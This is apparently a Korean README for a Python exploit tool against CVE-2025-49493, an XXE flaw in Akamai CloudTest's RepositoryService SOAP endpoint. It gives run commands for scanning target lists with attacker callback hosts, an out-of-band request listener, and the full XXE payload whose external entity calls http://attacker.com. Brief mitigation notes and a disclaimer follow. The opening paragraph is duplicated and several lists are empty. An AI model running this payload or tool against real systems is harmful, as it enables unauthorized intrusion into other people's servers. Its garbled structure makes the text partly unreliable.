
이는 CVE-2025-49493을 위한 Python 기반 익스플로잇으로, Akamai CloudTest 60 2025.06.02(12988) 이전 버전에 영향을 미칩니다. 이 취약점은 SOAP 서비스 엔드포인트를 통한 XML External Entity(XXE) 주입을 허용합니다.
이것은 Akamai CloudTest 60 2025.06.02 (12988) 이전 버전에 영향을 주는 CVE-2025-49493을 위한 Python 기반 익스플로잇입니다. 이 취약점은 SOAP 서비스 엔드포인트를 통한 XML 외부 엔티티(XXE) 주입을 허용합니다.
이 취약점은 /concerto/services/RepositoryService SOAP 엔드포인트에 존재하며, 이 곳에서 XML 입력이 외부 엔티티에 대한 적절한 검증 없이 처리됩니다. 공격자는 악의적인 XML 페이로드를 구성하여 XXE 공격을 유발할 수 있으며, 이로 인해 다음이 발생할 수 있습니다:
필요한 패키지 설치:
pip install -r requirements.txt
또는 수동 설치:
pip install requests urllib3 colored pyfiglet
python main.py targets.txt xxe.attacker.com
# With custom timeout
python main.py targets.txt collaborator.burp.com --timeout 20
# Using interactsh for OOB detection
python main.py targets.txt attacker.interactsh.com
positional arguments:
targets Target file containing list of Akamai CloudTest hosts
xxe_server XXE server to capture requests (e.g., attacker.com or IP)
optional arguments:
-h, --help show this help message and exit
--timeout TIMEOUT Request timeout in seconds (default: 10)
한 줄에 대상 하나씩 targets.txt 파일을 생성하세요:
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-client요청을 캡처할 간단한 HTTP 서버를 설정합니다:
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
이 익스플로잇은 다음 XXE 페이로드 구조를 사용합니다:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
즉시 조치:
장기적 해결 방안:
안전한 XML 처리:
# Disable external entities in XML parsers
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
입력 검증:
이 도구는 교육 및 공인된 테스트 목적으로만 제공됩니다. 사용자는 시스템을 테스트하기 전에 적절한 권한이 있는지 확인할 책임이 있습니다. 저자는 이 도구의 오용 또는 이로 인한 손해에 대해 책임을 지지 않습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.